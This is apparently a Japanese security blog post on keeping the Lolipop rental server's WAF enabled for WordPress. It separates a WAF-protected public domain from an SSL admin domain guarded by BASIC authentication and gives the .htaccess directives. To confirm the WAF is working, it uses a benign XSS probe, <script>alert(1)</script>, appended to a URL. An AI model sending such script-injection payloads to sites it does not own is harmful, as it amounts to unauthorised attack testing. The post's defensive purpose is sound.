既に当該脆弱性はロリポップ側で対処が終わっていますが、今後新たな脆弱性が発見されたり、アプリケーションのSQLインジェクション脆弱性などが狙われる可能性もあるので、WAFによる防御は有効です。

レンタルサーバーを利用するサイトは予算が十分でないことが多く、セキュリティにお金がかけられない場合が多いでしょう。共通設備のセキュリティはレンタルサーバー事業者が責任を持って対処すべきですが、CGIプログラムやPHPスクリプトなどはレンタルサーバー利用者の責任で脆弱性対処すべきところ、なかなかそこまで手が回らないというのが実態ではないでしょうか。ということで、良かったなぁと思っていたところ、以下のような話をよく目にするようになりました。

ロリポップ!でWordPressを導入すると403エラーになるので、その場合はWAFを停止するといいよ

ざっとググっても以下のように幾つも出てきます。
なんということでしょう。せっかくのWAFがこういう理由で止めらてしまうなんて、もったいない。そのうちロリポップ!を契約したらまずWAFを停止すべしなんてバッドノウハウが広まってしまうかもしれませんし、既にそうなっているかもしれません。

ということで、ロリポップ!とも、運営会社の株式会社paperboy&co.さんともなんの関係もないのですが、SiteGuard職人としてこの事態を放置することができず、WAFを有効にしたままWordPressを運営する方法を考えましたので紹介します。

基本的な考え方

一般的に、WAFが「正常なリクエスト」まで拒否してしまう現象を誤検知、過剰検知、False Positive、偽陽性といいます。誤検知があると、正常な運用ができなくなるので困ります。この場合、通常はWAFのチューニングで、誤検知がない状態にします。簡単なチューニングとしては、誤検知を起こしているルール(シグネチャ)を無効にするなどで、誤検知がないようにします。
しかし、ロリポップ!のWAF設定は、ドメイン単位で有効・無効の設定しかありません。このため、「サイト全体でWAFを無効にする」しかないと思うのも無理はありません。
しかし、以下のようにすれば、WAFを最大限に有効活用できると考えました。
  • ドメインを閲覧用と管理用で分ける
  • 閲覧用のドメインはWAFで防御する
  • 管理用のドメインはWAFは無効にして、BASIC認証で防御する
ロリポップ!のプランのうち、WordPressが利用できるのはロリポプラン以上ですが、この場合共有SSLを使うことができます。このため、以下のようにすればよいと考えました。
  • 閲覧用のドメインはHTTPとして、独自ドメインかロリポップ!の用意したサブドメインで運用する。このドメインはWAFで防御する
  • 管理用のドメインは共有SSLとして、BASIC認証で保護し、WAFの設定は外す
いい感じですね。管理画面をSSLで運用すると、スタバでコーヒーを飲みながらWi-FiサービスでWordPressのメンテンスをするなんて際も安心です。WAFの件がなくても、そうしたほうがいいですね。
以下、具体的な設定方法を説明します。

検証用サイトの前提説明

検証用にロリポップ!のお試しをお借りして、コンテンツはなんでも良かったのですが、「千葉県浦安市が東京都浦安区になった」という想定の偽サイトをでっちあげてみました。


このサイトのドメイン名は下記となります。
  • 閲覧用:http://www.urayasu.tokyo.jp/
  • 管理用:https://oops-ock.ssl-lolipop.jp/

WordPressの管理画面をSSL対応にする

WordPressの管理画面をSSL対応するには、「WordPress HTTPS」というプラグインが便利です。導入するには、WordPressの管理画面(ダッシュボード)から、プラグイン|新規追加というメニューを選択し、httpsというキーワードで検索するとすぐ出てきます。「いますぐインストール」というリンクをクリックしてインストールしましょう。


プラグインのインストールが完了すると以下の画面になります。「プラグインを有効化」をクリックします。


その後、プラグインの一覧からWordPress HTTPSのSettingsをクリックすると以下の画面が表示されます。


上記のように、SSL HostにURL(HTTPSのホスト)を入力し、「Force SSL Administration」と「Force SSL Exclusively」にチェクを入れ、「Save Changes」をクリックします。これで、WordPressの管理画面がHTTPSでアクセスするようになります。

BASIC認証を設定する

次に、BASIC認証を設定します。まず、FTP画面(Webツールロリポップ!FTP)で .htaccess というファイルがあるかどうかを確認して、ある場合は内容をコピーしておきます。
次に、Webツール|アクセス制御メニューをクリックして以下の画面から、新規作成ボタンをクリックします。


以下の画面が表示されるので、認証フォームタイトルを適当に入力(下記例ではPlease Login)して、ユーザ1にアカウント名とパスワードを入力します。WordPressに設定したパスワードとは別のパスワードを設定するとよいでしょう。


入力を確認して、「作成」ボタン(画面下部)をクリックします。

以上でBASIC認証の設定は終わりですが、ここから .htaccess をカスタマイズします。FTPツールで、.htaccessを開くと、以下の様な内容が入っているはずです。1行目のパス名は少し違うはずです。

AuthUserFile /home/users/1/oops.jp-ock/web/.htpasswd
AuthGroupFile /dev/null
AuthName "Please Login"
AuthType Basic
require valid-user

ここに、追記して以下のようにします(青字が追記部分)。

AuthUserFile /home/users/1/oops.jp-ock/web/.htpasswd
AuthGroupFile /dev/null
AuthName "Please Login"
AuthType Basic
require valid-user

SetEnvIf Host "^www.urayasu.tokyo.jp$" allow_host
SetEnvIf Host "^urayasu.tokyo.jp$" allow_host
order deny,allow
deny from all
allow from env=allow_host

satisfy any

「SetEnvIF Host」のホスト名は貴サイトのものに置き換えてください。上記は、BASIC認証で通るか、ホスト名がwww.urayasu.tokyo.jpあるいはurayasu.tokyo.jpの場合にアクセスできるという設定です(SetEnvIfは複数書いても構いません)。これにより、閲覧用ドメインは認証なしで、管理用ドメインはBASIC認証ありでアクセスという設定を実現しています。

最後に、元々.htaccessに設定があった場合は、その内容は消えているはずなので、あらかじめコピーしておいた内容を上記の下にペーストして復元しておきます。最後にFTPツールの「保存する」ボタンをクリックして内容をセーブします。

WAFの設定を変更する

次に、WAFの設定を変更します。ロリポップ!のユーザ専用ページからWebツール|WAF設定を選び、以下の画面を表示します。管理用ドメイン(以下の画面ではhttps://oops-ock.ssl-lolipop.jp/)のみを「無効にする」をクリックして以下の状態にします。


以上で、BASIC認証の設定とWAFの設定が終わりました。

試してみる

設定が終わりましたので、利用者として該当ページを閲覧してみましょう…以下のように、とくに認証を求められることもなく普通にアクセスできます。大丈夫ですね。


WAFの効き目を確かめるために、URL末尾に ?a=<script>alert(1)</script> を追加してアクセスしましょう。下記のように、403 FORBIDDENとなり、WAFが働いていることがわかります。


この403ページはロリポップ!標準のものですが、カスタマイズして変更したほうがよいでしょうね。
次に、管理画面に移りましょう。元のページに戻り、メタ情報ログインをクリックします。下記のように、BASIC認証のユーザ名とパスワードの入力画面が表示されます。


先に登録したユーザ名とパスワードを入力してOKボタンをクリックすると、ワードプレスのログイン画面になります。ログインが2回出てウザい感じですが、WordPress自体を守りたいため、これは仕方ありません。ブラウザにパスワードを記憶させても良いので、このBASIC認証はかけるべきです。そうでないと、WAFの防御が無意味になってしまいます。


WordPresにログインしてから、先ほど同様URL末尾に ?a=<script>alert(1)</script>を追加してアクセスしてみます。以下のように、403にならず、通常通り使用できます。WordPressのダッシュボードはWAFの防御が無効になっていることがわかります。


注意事項

WordPressのダッシュボードはBASIC認証で守られているので、SQLインジェクションなどの能動的攻撃を受けることはなくなります。しかし、クロスサイトスクリプティング(XSS)のような受動的攻撃は受ける可能性があります。
このため、WordPressのダッシュボード作業は、いつも使っているブラウザとは別のブラウザを用い、作業終了後すぐにブラウザも終了させることにより、受動的攻撃のリスクを最小限に留めることができます。
また、ロリポップ!に導入されているWAFはSiteGuard Liteという簡易版のWAFなので、おもにSQLインジェクションとXSSに特化した防御機能であり、WordPress固有の脆弱性に対してはシグネチャはありません。このため、定期的にダッシュボードを確認して、プラグインなどを最新の状態に更新することが重要です。

また、一般ユーザがコメントを付ける場合は、WAFの防御機能が有効なので、タグを使って入力した場合にWAFが誤検知する可能性はあります。私がWordPressのコメント欄で許可されているタグをひと通り試した範囲では検知はされませんでした。

まとめ

ロリポップ!のWordPressとWAFが干渉して誤検知が発生するという問題に対して、WordPressの管理画面(ダッシュボード)のみWAFを無効化して、一般利用者の閲覧する画面についてはWAFによる防御を有効化する方法を説明しました。
貴サイトの安全性強化の参考になれば幸いです。

PR

HASHコンサルティング株式会社では、WAFの選定、導入、運用のサービスを提供しております。WAFの誤検知に対しても、防御機能を最大限活かした状態でのチューニングが可能です。詳しくは弊社ホームページをご参照ください。

フォロワー